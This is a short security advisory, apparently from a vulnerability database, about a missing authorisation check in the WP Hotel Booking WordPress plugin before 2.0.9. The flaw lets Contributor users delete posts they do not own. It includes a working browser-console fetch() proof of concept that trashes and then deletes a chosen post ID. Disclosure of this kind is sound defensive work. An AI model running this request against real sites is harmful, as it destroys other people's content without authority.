WP Hotel Booking < 2.0.9 - Contributor+ Arbitrary Post Deletion

Description The plugin does not have proper authorisation when deleting a package, allowing Contributor and above roles to delete posts that do no belong to them

PoC

Run the below command in the developer console of the web browser while being on the blog as a Contributor user. This will put the post with ID 1 in the trash (change this ID to a post the user should not be able to delete, like one created by an admin). Run it again to delete the post fetch(“/wp-admin/admin-ajax.php”, {“headers”: {“content-type”: “application/x-www-form-urlencoded; charset=UTF-8”},“body”: ‘action=tp_extra_package_remove&package;_id=1&nonce;=’ + hotel_settings[‘nonce’],“method”: “POST”});